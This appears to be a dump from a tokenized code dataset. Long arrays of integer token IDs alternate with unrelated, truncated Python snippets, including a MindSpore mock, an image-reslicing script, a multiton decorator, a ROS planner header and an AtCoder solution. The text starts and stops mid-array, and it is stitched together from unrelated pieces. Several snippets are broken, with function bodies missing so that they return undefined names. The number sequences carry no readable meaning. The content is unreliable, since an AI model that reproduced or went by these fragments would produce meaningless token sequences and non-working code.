81,
6231,
796,
17635,
198,
198,
1820,
9452,
16,
796,
657,
13,
15,
198,
1820,
11518,
16,
796,
513,
18458,
13,
17,
198,
1820,
33986,
16,
796,
705,
13247,
352,
6,
198,
1820,
10258,
16,
796,
33734,
8205,
72,
13,
48,
10258,
10786,
2,
69,
22,
21855,
487,
11537,
198,
81,
6231,
13,
33295,
19510,
1820,
9452,
16,
11,
616,
11518,
16,
11,
616,
33986,
16,
11,
616,
10258,
16,
4008,
198,
198,
1820,
9452,
17,
796,
513,
18458,
13,
17,
198,
1820,
11518,
17,
796,
22219,
24,
13,
15,
198,
1820,
33986,
17,
796,
705,
13247,
362,
6,
198,
1820,
10258,
17,
796,
33734,
8205,
72,
13,
48,
10258,
10786,
2,
66,
22,
67,
344,
69,
11537,
198,
81,
6231,
13,
33295,
19510,
1820,
9452,
17,
11,
616,
11518,
17,
11,
616,
33986,
17,
11,
616,
10258,
17,
4008,
198,
198,
1820,
9452,
18,
796,
22219,
24,
13,
15,
198,
1820,
11518,
18,
796,
4764,
2996,
13,
23,
198,
1820,
33986,
18,
796,
705,
13247,
513,
6,
198,
1820,
10258,
18,
796,
33734,
8205,
72,
13,
48,
10258,
10786,
2,
4761,
65,
17,
67,
22,
11537,
198,
81,
6231,
13,
33295,
19510,
1820,
9452,
18,
11,
616,
11518,
18,
11,
616,
33986,
18,
11,
616,
10258,
18,
4008,
198,
198,
1820,
9452,
19,
796,
4764,
2996,
13,
23,
198,
1820,
11518,
19,
796,
642,
38565,
13,
19,
198,
1820,
33986,
19,
796,
705,
13247,
604,
6,
198,
1820,
10258,
19,
796,
33734,
8205,
72,
13,
48,
10258,
10786,
2,
2078,
3695,
65,
23,
11537,
198,
81,
6231,
13,
33295,
19510,
1820,
9452,
19,
11,
616,
11518,
19,
11,
616,
33986,
19,
11,
616,
10258,
19,
4008,
198,
198,
1820,
9452,
20,
796,
642,
38565,
13,
19,
198,
1820,
11518,
20,
796,
5214,
37730,
13,
15,
198,
1820,
33986,
20,
796,
705,
13247,
642,
6,
198,
1820,
10258,
20,
796,
33734,
8205,
72,
13,
48,
10258,
10786,
2,
2919,
20548,
65,
11537,
198,
81,
6231,
13,
33295,
19510,
1820,
9452,
20,
11,
616,
11518,
20,
11,
616,
33986,
20,
11,
616,
10258,
20,
4008,
198,
198,
1640,
616,
9452,
11,
616,
11518,
11,
616,
33986,
11,
616,
10258,
287,
16069,
25,
198,
220,
220,
220,
616,
13940,
23650,
796,
1195,
14542,
13940,
23650,
53,
17,
13,
12286,
13940,
23650,
7,
1477,
79,
13,
469,
15748,
6030,
28955,
198,
220,
220,
220,
616,
13940,
23650,
13,
2617,
10258,
7,
1820,
10258,
8,
198,
220,
220,
220,
616,
13940,
23650,
13,
2617,
38077,
7,
1820,
18257,
4355,
8,
198,
220,
220,
220,
616,
17257,
796,
1195,
14542,
49,
437,
11882,
17257,
53,
17,
7,
1820,
9452,
11,
616,
11518,
11,
616,
13940,
23650,
11,
616,
33986,
8,
198,
220,
220,
220,
616,
17257,
8053,
13,
33295,
7,
1820,
17257,
8,
198,
198,
1820,
49,
437,
11882,
796,
1195,
14542,
42731,
6605,
13940,
23650,
49,
437,
11882,
53,
17,
10786,
3256,
616,
17257,
8053,
8,
198,
1820,
49,
437,
11882,
13,
2617,
19076,
7,
48,
14542,
42731,
6605,
13940,
23650,
49,
437,
11882,
53,
17,
13,
24915,
576,
8,
198,
1820,
49,
437,
11882,
13,
2617,
9487,
33682,
7,
1820,
39470,
8,
198,
198,
1477,
79,
13,
2617,
49,
437,
11882,
53,
17,
7,
1820,
49,
437,
11882,
8,
198
] | 2.268116 | 828 |
# Copyright 2020 Huawei Technologies Co., Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ============================================================================
"""Mock the MindSpore mindspore/train/callback.py."""
from collections import OrderedDict
class Cell:
"""Mock the Cell class."""
@property
def auto_prefix(self):
"""The property of auto_prefix."""
return self._auto_prefix
@property
def pips(self):
"""The property of pips."""
return self._pips
class WithLossCell(Cell):
"""Mocked WithLossCell class."""
class TrainOneStepWithLossScaleCell(Cell):
"""Mocked TrainOneStepWithLossScaleCell."""
| [
2,
15069,
12131,
43208,
21852,
1766,
1539,
12052,
198,
2,
198,
2,
49962,
739,
262,
24843,
13789,
11,
10628,
362,
13,
15,
357,
1169,
366,
34156,
15341,
198,
2,
345,
743,
407,
779,
428,
2393,
2845,
287,
11846,
351,
262,
13789,
13,
198,
2,
921,
743,
7330,
257,
4866,
286,
262,
13789,
379,
198,
2,
198,
2,
2638,
1378,
2503,
13,
43073,
13,
2398,
14,
677,
4541,
14,
43,
2149,
24290,
12,
17,
13,
15,
198,
2,
198,
2,
17486,
2672,
416,
9723,
1099,
393,
4987,
284,
287,
3597,
11,
3788,
198,
2,
9387,
739,
262,
13789,
318,
9387,
319,
281,
366,
1921,
3180,
1,
29809,
1797,
11,
198,
2,
42881,
34764,
11015,
6375,
7102,
49828,
11053,
3963,
15529,
509,
12115,
11,
2035,
4911,
393,
17142,
13,
198,
2,
4091,
262,
13789,
329,
262,
2176,
3303,
15030,
21627,
290,
198,
2,
11247,
739,
262,
13789,
13,
198,
2,
38093,
2559,
18604,
198,
37811,
44,
735,
262,
10175,
4561,
382,
2000,
2777,
382,
14,
27432,
14,
47423,
13,
9078,
526,
15931,
198,
6738,
17268,
1330,
14230,
1068,
35,
713,
628,
198,
4871,
12440,
25,
198,
220,
220,
220,
37227,
44,
735,
262,
12440,
1398,
526,
15931,
628,
220,
220,
220,
2488,
26745,
198,
220,
220,
220,
825,
8295,
62,
40290,
7,
944,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
464,
3119,
286,
8295,
62,
40290,
526,
15931,
198,
220,
220,
220,
220,
220,
220,
220,
1441,
2116,
13557,
23736,
62,
40290,
628,
220,
220,
220,
2488,
26745,
198,
220,
220,
220,
825,
279,
2419,
7,
944,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
464,
3119,
286,
279,
2419,
526,
15931,
198,
220,
220,
220,
220,
220,
220,
220,
1441,
2116,
13557,
79,
2419,
628,
198,
4871,
2080,
43,
793,
28780,
7,
28780,
2599,
198,
220,
220,
220,
37227,
44,
3543,
2080,
43,
793,
28780,
1398,
526,
15931,
628,
198,
4871,
16835,
3198,
8600,
3152,
43,
793,
29990,
28780,
7,
28780,
2599,
198,
220,
220,
220,
37227,
44,
3543,
16835,
3198,
8600,
3152,
43,
793,
29990,
28780,
526,
15931,
198
] | 3.415698 | 344 |
from rosettautil.util import fileutil
aa_codes_in_order = ["ALA","CYS","ASP","GLU","PHE","GLY","HIS","ILE","LYS","LEU","MET","ASN","PRO","GLN","ARG","SER","THR","VAL","TRP","TYR"]
| [
6738,
686,
17744,
2306,
346,
13,
22602,
1330,
2393,
22602,
198,
7252,
62,
40148,
62,
259,
62,
2875,
796,
14631,
1847,
32,
2430,
34,
16309,
2430,
1921,
47,
2430,
8763,
52,
2430,
11909,
36,
2430,
8763,
56,
2430,
39,
1797,
2430,
41119,
2430,
11319,
50,
2430,
2538,
52,
2430,
47123,
2430,
1921,
45,
2430,
31190,
2430,
8763,
45,
2430,
1503,
38,
2430,
35009,
2430,
4221,
49,
2430,
23428,
2430,
5446,
47,
2430,
9936,
49,
8973,
198
] | 2.368421 | 76 |
from sc2.constants import *
from sc2.position import Point2
from bot.starpruuuft.agent_message import AgentMessage
from .agent import Agent
from .. import utilities
# Reconhece um depot localizado na rampa
# Faz o cache da localização dos depots de rampa
| [
6738,
629,
17,
13,
9979,
1187,
1330,
1635,
201,
198,
6738,
629,
17,
13,
9150,
1330,
6252,
17,
201,
198,
201,
198,
6738,
10214,
13,
301,
5117,
622,
12303,
701,
13,
25781,
62,
20500,
1330,
15906,
12837,
201,
198,
6738,
764,
25781,
1330,
15906,
201,
198,
6738,
11485,
1330,
20081,
201,
198,
201,
198,
201,
198,
220,
220,
220,
1303,
23419,
258,
344,
23781,
43369,
1957,
528,
4533,
12385,
10454,
64,
201,
198,
201,
198,
220,
220,
220,
1303,
376,
1031,
267,
12940,
12379,
1957,
23638,
16175,
28749,
23430,
1207,
1747,
390,
10454,
64,
201,
198
] | 2.895833 | 96 |
from _DATATYPES import TreeNode
#Question: Given a Binary Search Tree (BST), convert it to a Greater Tree such that every key of the original BST is changed to the original key plus sum of all keys greater than the original key in BST.
#Solution: Traverse reverse in order, keep count of sums and adjust each node as needed
#Difficulty: Easy
#Note: Due to Python scoping restrictions, var s needs to be in a class to be accessed by a recusive function
main()
| [
6738,
4808,
35,
1404,
1404,
48232,
1546,
1330,
12200,
19667,
198,
2,
24361,
25,
11259,
257,
45755,
11140,
12200,
357,
33,
2257,
828,
10385,
340,
284,
257,
18169,
12200,
884,
326,
790,
1994,
286,
262,
2656,
44992,
318,
3421,
284,
262,
2656,
1994,
5556,
2160,
286,
477,
8251,
3744,
621,
262,
2656,
1994,
287,
44992,
13,
198,
2,
46344,
25,
4759,
4399,
9575,
287,
1502,
11,
1394,
954,
286,
21784,
290,
4532,
1123,
10139,
355,
2622,
198,
2,
28813,
22402,
25,
16789,
198,
2,
6425,
25,
14444,
284,
11361,
629,
15816,
8733,
11,
1401,
264,
2476,
284,
307,
287,
257,
1398,
284,
307,
17535,
416,
257,
664,
11350,
2163,
198,
12417,
3419,
198
] | 4.061947 | 113 |
#!/usr/bin/env python
import numpy as np
import nibabel as nib
import matplotlib.pyplot as plt
from improc3d.reslice import reslice3d, reslice3d_coarse
from improc3d.reslice import transform_to_axial
from improc3d.reslice import transform_to_coronal
from improc3d.reslice import transform_to_sagittal
obj = nib.load('image1.nii.gz')
image = obj.get_data()
affine = obj.affine
print(image.shape)
print(np.round(affine))
axial_c = transform_to_axial(image, affine, coarse=True)
coronal_c = transform_to_coronal(image, affine, coarse=True)
sagittal_c = transform_to_sagittal(image, affine, coarse=True)
LPIm = reslice3d(image, affine)
axial = transform_to_axial(LPIm, np.eye(4), coarse=True)
coronal = transform_to_coronal(LPIm, np.eye(4), coarse=True)
sagittal = transform_to_sagittal(LPIm, np.eye(4), coarse=True)
images = (image, axial_c, axial, coronal_c, coronal, sagittal_c, sagittal)
plt.figure()
for i, im in enumerate(images):
im = np.transpose(im, axes=[1, 0, 2])
plt.subplot(3, len(images), len(images) * 0 + i + 1)
plt.imshow(im[:, :, im.shape[2]//2], cmap='gray')
plt.subplot(3, len(images), len(images) * 1 + i + 1)
plt.imshow(im[:, im.shape[1]//2, :], cmap='gray')
plt.subplot(3, len(images), len(images) * 2 + i + 1)
plt.imshow(im[im.shape[0]//2, :, :], cmap='gray')
plt.show()
| [
2,
48443,
14629,
14,
8800,
14,
24330,
21015,
198,
198,
11748,
299,
32152,
355,
45941,
198,
11748,
33272,
9608,
355,
33272,
198,
11748,
2603,
29487,
8019,
13,
9078,
29487,
355,
458,
83,
198,
198,
6738,
2015,
66,
18,
67,
13,
411,
75,
501,
1330,
581,
75,
501,
18,
67,
11,
581,
75,
501,
18,
67,
62,
1073,
17208,
198,
6738,
2015,
66,
18,
67,
13,
411,
75,
501,
1330,
6121,
62,
1462,
62,
897,
498,
198,
6738,
2015,
66,
18,
67,
13,
411,
75,
501,
1330,
6121,
62,
1462,
62,
10215,
20996,
198,
6738,
2015,
66,
18,
67,
13,
411,
75,
501,
1330,
6121,
62,
1462,
62,
82,
363,
39979,
628,
198,
26801,
796,
33272,
13,
2220,
10786,
9060,
16,
13,
77,
4178,
13,
34586,
11537,
198,
9060,
796,
26181,
13,
1136,
62,
7890,
3419,
198,
2001,
500,
796,
26181,
13,
2001,
500,
198,
4798,
7,
9060,
13,
43358,
8,
198,
4798,
7,
37659,
13,
744,
7,
2001,
500,
4008,
198,
198,
897,
498,
62,
66,
796,
6121,
62,
1462,
62,
897,
498,
7,
9060,
11,
1527,
500,
11,
36076,
28,
17821,
8,
198,
10215,
20996,
62,
66,
796,
6121,
62,
1462,
62,
10215,
20996,
7,
9060,
11,
1527,
500,
11,
36076,
28,
17821,
8,
198,
82,
363,
39979,
62,
66,
796,
6121,
62,
1462,
62,
82,
363,
39979,
7,
9060,
11,
1527,
500,
11,
36076,
28,
17821,
8,
198,
198,
19930,
3546,
796,
581,
75,
501,
18,
67,
7,
9060,
11,
1527,
500,
8,
198,
897,
498,
796,
6121,
62,
1462,
62,
897,
498,
7,
19930,
3546,
11,
45941,
13,
25379,
7,
19,
828,
36076,
28,
17821,
8,
198,
10215,
20996,
796,
6121,
62,
1462,
62,
10215,
20996,
7,
19930,
3546,
11,
45941,
13,
25379,
7,
19,
828,
36076,
28,
17821,
8,
198,
82,
363,
39979,
796,
6121,
62,
1462,
62,
82,
363,
39979,
7,
19930,
3546,
11,
45941,
13,
25379,
7,
19,
828,
36076,
28,
17821,
8,
198,
198,
17566,
796,
357,
9060,
11,
7877,
498,
62,
66,
11,
7877,
498,
11,
1162,
20996,
62,
66,
11,
1162,
20996,
11,
45229,
39979,
62,
66,
11,
45229,
39979,
8,
198,
489,
83,
13,
26875,
3419,
198,
1640,
1312,
11,
545,
287,
27056,
378,
7,
17566,
2599,
198,
220,
220,
220,
545,
796,
45941,
13,
7645,
3455,
7,
320,
11,
34197,
41888,
16,
11,
657,
11,
362,
12962,
198,
220,
220,
220,
458,
83,
13,
7266,
29487,
7,
18,
11,
18896,
7,
17566,
828,
18896,
7,
17566,
8,
1635,
657,
1343,
1312,
1343,
352,
8,
198,
220,
220,
220,
458,
83,
13,
320,
12860,
7,
320,
58,
45299,
1058,
11,
545,
13,
43358,
58,
17,
60,
1003,
17,
4357,
269,
8899,
11639,
44605,
11537,
198,
220,
220,
220,
458,
83,
13,
7266,
29487,
7,
18,
11,
18896,
7,
17566,
828,
18896,
7,
17566,
8,
1635,
352,
1343,
1312,
1343,
352,
8,
198,
220,
220,
220,
458,
83,
13,
320,
12860,
7,
320,
58,
45299,
545,
13,
43358,
58,
16,
60,
1003,
17,
11,
1058,
4357,
269,
8899,
11639,
44605,
11537,
198,
220,
220,
220,
458,
83,
13,
7266,
29487,
7,
18,
11,
18896,
7,
17566,
828,
18896,
7,
17566,
8,
1635,
362,
1343,
1312,
1343,
352,
8,
198,
220,
220,
220,
458,
83,
13,
320,
12860,
7,
320,
58,
320,
13,
43358,
58,
15,
60,
1003,
17,
11,
1058,
11,
1058,
4357,
269,
8899,
11639,
44605,
11537,
198,
489,
83,
13,
12860,
3419,
198
] | 2.351064 | 564 |
from .base import BaseJITTest
| [
6738,
764,
8692,
1330,
7308,
41,
2043,
14402,
628
] | 3.444444 | 9 |
e = Exgdb()
c = ExgdbCmd()
#c.b('atcoder_abc_abc124_d_handstand::main')
c.b('main.rs:82')
gdb.execute('run')
gdb.execute('layout src')
| [
68,
796,
1475,
70,
9945,
3419,
198,
66,
796,
1475,
70,
9945,
40109,
3419,
198,
2,
66,
13,
65,
10786,
265,
66,
12342,
62,
39305,
62,
39305,
17464,
62,
67,
62,
4993,
1481,
3712,
12417,
11537,
198,
66,
13,
65,
10786,
12417,
13,
3808,
25,
6469,
11537,
198,
70,
9945,
13,
41049,
10786,
5143,
11537,
198,
70,
9945,
13,
41049,
10786,
39786,
12351,
11537,
198
] | 2.076923 | 65 |
#!/usr/bin/env python
# Copyright (c) 2022 SMHI, Swedish Meteorological and Hydrological Institute.
# License: MIT License (see LICENSE.txt or http://opensource.org/licenses/mit).
"""
Created on 2020-07-08 13:19
@author: a002028
"""
class Dependencies:
"""Doc."""
def __init__(self, **kwargs):
"""Initiate."""
# TODO: what to do here?
# maybe it´s enough with the dependencies
# listed in DEV_dependencies.yaml ?
pass
| [
2,
48443,
14629,
14,
8800,
14,
24330,
21015,
198,
2,
15069,
357,
66,
8,
33160,
9447,
25374,
11,
14023,
25582,
2770,
290,
15084,
3225,
30766,
5136,
13,
198,
2,
13789,
25,
17168,
13789,
357,
3826,
38559,
24290,
13,
14116,
393,
2638,
1378,
44813,
1668,
13,
2398,
14,
677,
4541,
14,
2781,
737,
198,
37811,
198,
41972,
319,
12131,
12,
2998,
12,
2919,
1511,
25,
1129,
198,
198,
31,
9800,
25,
257,
405,
1238,
2078,
198,
37811,
628,
198,
4871,
37947,
3976,
25,
198,
220,
220,
220,
37227,
23579,
526,
15931,
628,
220,
220,
220,
825,
11593,
15003,
834,
7,
944,
11,
12429,
46265,
22046,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
818,
8846,
378,
526,
15931,
198,
220,
220,
220,
220,
220,
220,
220,
1303,
16926,
46,
25,
644,
284,
466,
994,
30,
198,
220,
220,
220,
220,
220,
220,
220,
1303,
220,
3863,
340,
18265,
82,
1576,
351,
262,
20086,
198,
220,
220,
220,
220,
220,
220,
220,
1303,
220,
5610,
287,
5550,
53,
62,
45841,
3976,
13,
88,
43695,
5633,
198,
220,
220,
220,
220,
220,
220,
220,
1208,
198
] | 2.551351 | 185 |
# -*- coding: utf-8 -*-
#########################################################
#
# who when what
# -------- ---------- ---------------------------------
# apuglisi 2019-09-28 Created
#
#########################################################
def multiton(cls):
'''
Multiton decorator
Decorator that returns the same instance of a class
every time it is instantiated with the same parameters.
All parameters must be able to be passed to str() in order
to build an hashable key.
As a side effect, the class name becomes a function
that returns an instance, rather than a class type instance.
'''
instances = {}
return getinstance
def multiton_id(cls):
'''
Multiton decorator for mutable types
Decorator that returns the same instance of a class
every time it is instantiated with the same parameters.
Similar to "multiton", but uses the id of each argument
to build an hashable key. This allows to pass things
like dictionaries that will be recognized as identical even
if their contents change, but risks not recognizing identical
values of strings and numbers.
As a side effect, the class name becomes a function
that returns an instance, rather than a class type instance.
'''
instances = {}
return getinstance
| [
2,
532,
9,
12,
19617,
25,
3384,
69,
12,
23,
532,
9,
12,
198,
29113,
14468,
7804,
2,
198,
2,
198,
2,
508,
220,
220,
220,
220,
220,
220,
618,
220,
220,
220,
220,
220,
220,
220,
644,
198,
2,
24200,
220,
24200,
438,
220,
20368,
12,
198,
2,
2471,
1018,
75,
23267,
220,
13130,
12,
2931,
12,
2078,
220,
15622,
198,
2,
198,
29113,
14468,
7804,
2,
628,
198,
4299,
1963,
37752,
7,
565,
82,
2599,
198,
220,
220,
220,
705,
7061,
198,
220,
220,
220,
7854,
37752,
11705,
1352,
628,
220,
220,
220,
4280,
273,
1352,
326,
5860,
262,
976,
4554,
286,
257,
1398,
198,
220,
220,
220,
790,
640,
340,
318,
9113,
12931,
351,
262,
976,
10007,
13,
628,
220,
220,
220,
1439,
10007,
1276,
307,
1498,
284,
307,
3804,
284,
965,
3419,
287,
1502,
198,
220,
220,
220,
284,
1382,
281,
12234,
540,
1994,
13,
198,
220,
220,
220,
1081,
257,
1735,
1245,
11,
262,
1398,
1438,
4329,
257,
2163,
198,
220,
220,
220,
326,
5860,
281,
4554,
11,
2138,
621,
257,
1398,
2099,
4554,
13,
198,
220,
220,
220,
705,
7061,
198,
220,
220,
220,
10245,
796,
23884,
628,
220,
220,
220,
1441,
651,
39098,
628,
198,
4299,
1963,
37752,
62,
312,
7,
565,
82,
2599,
198,
220,
220,
220,
705,
7061,
198,
220,
220,
220,
7854,
37752,
11705,
1352,
329,
4517,
540,
3858,
628,
220,
220,
220,
4280,
273,
1352,
326,
5860,
262,
976,
4554,
286,
257,
1398,
198,
220,
220,
220,
790,
640,
340,
318,
9113,
12931,
351,
262,
976,
10007,
13,
628,
220,
220,
220,
11014,
284,
366,
16680,
37752,
1600,
475,
3544,
262,
4686,
286,
1123,
4578,
198,
220,
220,
220,
284,
1382,
281,
12234,
540,
1994,
13,
770,
3578,
284,
1208,
1243,
198,
220,
220,
220,
588,
48589,
3166,
326,
481,
307,
8018,
355,
10411,
772,
198,
220,
220,
220,
611,
511,
10154,
1487,
11,
475,
7476,
407,
22650,
10411,
198,
220,
220,
220,
3815,
286,
13042,
290,
3146,
13,
198,
220,
220,
220,
1081,
257,
1735,
1245,
11,
262,
1398,
1438,
4329,
257,
2163,
198,
220,
220,
220,
326,
5860,
281,
4554,
11,
2138,
621,
257,
1398,
2099,
4554,
13,
198,
220,
220,
220,
705,
7061,
198,
220,
220,
220,
10245,
796,
23884,
628,
220,
220,
220,
1441,
651,
39098,
198
] | 3.515707 | 382 |
from heritagesites.models import CountryArea, DevStatus, HeritageSite, HeritageSiteCategory, \
HeritageSiteJurisdiction, Location, Planet, Region, SubRegion, IntermediateRegion
from rest_framework import response, serializers, status
| [
6738,
607,
270,
1095,
2737,
13,
27530,
1330,
12946,
30547,
11,
6245,
19580,
11,
18518,
29123,
11,
18518,
29123,
27313,
11,
3467,
198,
197,
9360,
10208,
29123,
41,
333,
9409,
2867,
11,
13397,
11,
11397,
11,
17718,
11,
3834,
47371,
11,
42540,
47371,
198,
6738,
1334,
62,
30604,
1330,
2882,
11,
11389,
11341,
11,
3722,
628,
628,
628,
628,
628,
198
] | 4.016393 | 61 |
#!/usr/bin/python
# Copyright 2018 Nils Bore, Sriharsha Bhat ([email protected], [email protected])
#
# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
#
# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
#
# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
#
# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
from __future__ import division, print_function
import numpy as np
import matplotlib.pyplot as plt
from mpl_toolkits.mplot3d import Axes3D
from nav_msgs.msg import Path
from geometry_msgs.msg import PoseStamped, PointStamped
from move_base_msgs.msg import MoveBaseFeedback, MoveBaseResult, MoveBaseAction
import actionlib
import rospy
import tf
from sam_msgs.msg import ThrusterRPMs, ThrusterAngles
from std_msgs.msg import Float64, Header, Bool
import math
from visualization_msgs.msg import Marker
from tf.transformations import quaternion_from_euler
if __name__ == '__main__':
rospy.init_node('wp_depth_action_planner')
planner = WPDepthPlanner(rospy.get_name())
| [
2,
48443,
14629,
14,
8800,
14,
29412,
198,
198,
2,
15069,
2864,
399,
4487,
45409,
11,
20872,
71,
945,
3099,
347,
5183,
357,
46803,
382,
31,
74,
400,
13,
325,
11,
38487,
65,
5183,
31,
74,
400,
13,
325,
8,
198,
2,
198,
2,
2297,
396,
3890,
290,
779,
287,
2723,
290,
13934,
5107,
11,
351,
393,
1231,
17613,
11,
389,
10431,
2810,
326,
262,
1708,
3403,
389,
1138,
25,
198,
2,
198,
2,
352,
13,
2297,
396,
2455,
507,
286,
2723,
2438,
1276,
12377,
262,
2029,
6634,
4003,
11,
428,
1351,
286,
3403,
290,
262,
1708,
37592,
13,
198,
2,
198,
2,
362,
13,
2297,
396,
2455,
507,
287,
13934,
1296,
1276,
22919,
262,
2029,
6634,
4003,
11,
428,
1351,
286,
3403,
290,
262,
1708,
37592,
287,
262,
10314,
290,
14,
273,
584,
5696,
2810,
351,
262,
6082,
13,
198,
2,
198,
2,
513,
13,
16126,
262,
1438,
286,
262,
6634,
15762,
4249,
262,
3891,
286,
663,
20420,
743,
307,
973,
284,
11438,
393,
7719,
3186,
10944,
422,
428,
3788,
1231,
2176,
3161,
3194,
7170,
13,
198,
2,
198,
2,
12680,
47466,
3180,
36592,
2389,
1961,
11050,
3336,
27975,
38162,
9947,
367,
15173,
4877,
5357,
27342,
9865,
3843,
20673,
366,
1921,
3180,
1,
5357,
15529,
7788,
32761,
6375,
8959,
49094,
34764,
11015,
11,
47783,
2751,
11,
21728,
5626,
40880,
5390,
11,
3336,
8959,
49094,
34764,
11015,
3963,
34482,
3398,
1565,
5603,
25382,
5357,
376,
46144,
7473,
317,
16652,
2149,
37232,
33079,
48933,
15986,
13954,
48778,
1961,
13,
3268,
8005,
49261,
50163,
3336,
27975,
38162,
9947,
49707,
14418,
6375,
27342,
9865,
3843,
20673,
9348,
43031,
19146,
7473,
15529,
42242,
11,
3268,
17931,
23988,
11,
19387,
25256,
1847,
11,
38846,
11,
7788,
3620,
6489,
13153,
11,
6375,
7102,
5188,
10917,
3525,
12576,
29506,
25552,
357,
1268,
39149,
2751,
11,
21728,
5626,
40880,
5390,
11,
41755,
11335,
10979,
3963,
28932,
2257,
2043,
37780,
21090,
50,
6375,
49254,
26,
406,
18420,
3963,
23210,
11,
42865,
11,
6375,
4810,
19238,
29722,
26,
6375,
43949,
44180,
23255,
49,
8577,
24131,
8,
29630,
36,
5959,
7257,
2937,
1961,
5357,
6177,
15529,
3336,
15513,
3963,
43031,
25382,
11,
7655,
2767,
16879,
3268,
27342,
10659,
11,
19269,
18379,
43031,
25382,
11,
6375,
309,
9863,
357,
1268,
39149,
2751,
399,
7156,
43,
3528,
18310,
6375,
25401,
54,
24352,
8,
5923,
1797,
2751,
3268,
15529,
34882,
16289,
3963,
3336,
23210,
3963,
12680,
47466,
11,
45886,
16876,
5984,
29817,
1961,
3963,
3336,
28069,
11584,
25382,
3963,
13558,
3398,
29506,
11879,
13,
198,
198,
6738,
11593,
37443,
834,
1330,
7297,
11,
3601,
62,
8818,
198,
198,
11748,
299,
32152,
355,
45941,
198,
11748,
2603,
29487,
8019,
13,
9078,
29487,
355,
458,
83,
198,
6738,
285,
489,
62,
25981,
74,
896,
13,
76,
29487,
18,
67,
1330,
12176,
274,
18,
35,
198,
6738,
6812,
62,
907,
14542,
13,
19662,
1330,
10644,
198,
6738,
22939,
62,
907,
14542,
13,
19662,
1330,
37557,
1273,
13322,
11,
6252,
1273,
13322,
198,
6738,
1445,
62,
8692,
62,
907,
14542,
13,
19662,
1330,
10028,
14881,
18332,
1891,
11,
10028,
14881,
23004,
11,
10028,
14881,
12502,
198,
11748,
2223,
8019,
198,
11748,
686,
2777,
88,
198,
11748,
48700,
198,
6738,
6072,
62,
907,
14542,
13,
19662,
1330,
16283,
5819,
49,
5868,
82,
11,
16283,
5819,
13450,
829,
198,
6738,
14367,
62,
907,
14542,
13,
19662,
1330,
48436,
2414,
11,
48900,
11,
347,
970,
198,
11748,
10688,
198,
6738,
32704,
62,
907,
14542,
13,
19662,
1330,
2940,
263,
198,
6738,
48700,
13,
35636,
602,
1330,
627,
9205,
295,
62,
6738,
62,
68,
18173,
198,
198,
361,
11593,
3672,
834,
6624,
705,
834,
12417,
834,
10354,
628,
220,
220,
220,
686,
2777,
88,
13,
15003,
62,
17440,
10786,
24142,
62,
18053,
62,
2673,
62,
11578,
1008,
11537,
198,
220,
220,
220,
42351,
796,
370,
5760,
538,
400,
20854,
1008,
7,
305,
2777,
88,
13,
1136,
62,
3672,
28955,
198
] | 3.470219 | 638 |
'''input
23 2
1
9 12
21
'''
# -*- coding: utf-8 -*-
# AtCoder Beginner Contest
# Problem A
if __name__ == '__main__':
current_hour, add_hour = list(map(int, input().split()))
contest_hour = current_hour + add_hour
if contest_hour < 24:
print(contest_hour)
else:
print(contest_hour - 24)
| [
7061,
6,
15414,
201,
198,
1954,
362,
201,
198,
16,
201,
198,
201,
198,
24,
1105,
201,
198,
2481,
201,
198,
201,
198,
7061,
6,
201,
198,
201,
198,
2,
532,
9,
12,
19617,
25,
3384,
69,
12,
23,
532,
9,
12,
201,
198,
201,
198,
2,
1629,
34,
12342,
16623,
1008,
27297,
201,
198,
2,
20647,
317,
201,
198,
201,
198,
361,
11593,
3672,
834,
6624,
705,
834,
12417,
834,
10354,
201,
198,
220,
220,
220,
1459,
62,
9769,
11,
751,
62,
9769,
796,
1351,
7,
8899,
7,
600,
11,
5128,
22446,
35312,
3419,
4008,
201,
198,
220,
220,
220,
8414,
62,
9769,
796,
1459,
62,
9769,
1343,
751,
62,
9769,
201,
198,
201,
198,
220,
220,
220,
611,
8414,
62,
9769,
1279,
1987,
25,
201,
198,
220,
220,
220,
220,
220,
220,
220,
3601,
7,
3642,
395,
62,
9769,
8,
201,
198,
220,
220,
220,
2073,
25,
201,
198,
220,
220,
220,
220,
220,
220,
220,
3601,
7,
3642,
395,
62,
9769,
532,
1987,
8,
201,
198
] | 2.053254 | 169 |
'''
Given a 2d grid map of '1's (land) and '0's (water), count the number of islands. An island is surrounded by water and is formed by connecting adjacent lands horizontally or vertically. You may assume all four edges of the grid are all surrounded by water.
Example 1:
Input:
11110
11010
11000
00000
Output: 1
Example 2:
Input:
11000
11000
00100
00011
Output: 3
'''
| [
7061,
6,
198,
198,
15056,
257,
362,
67,
10706,
3975,
286,
705,
16,
338,
357,
1044,
8,
290,
705,
15,
338,
357,
7050,
828,
954,
262,
1271,
286,
14807,
13,
1052,
7022,
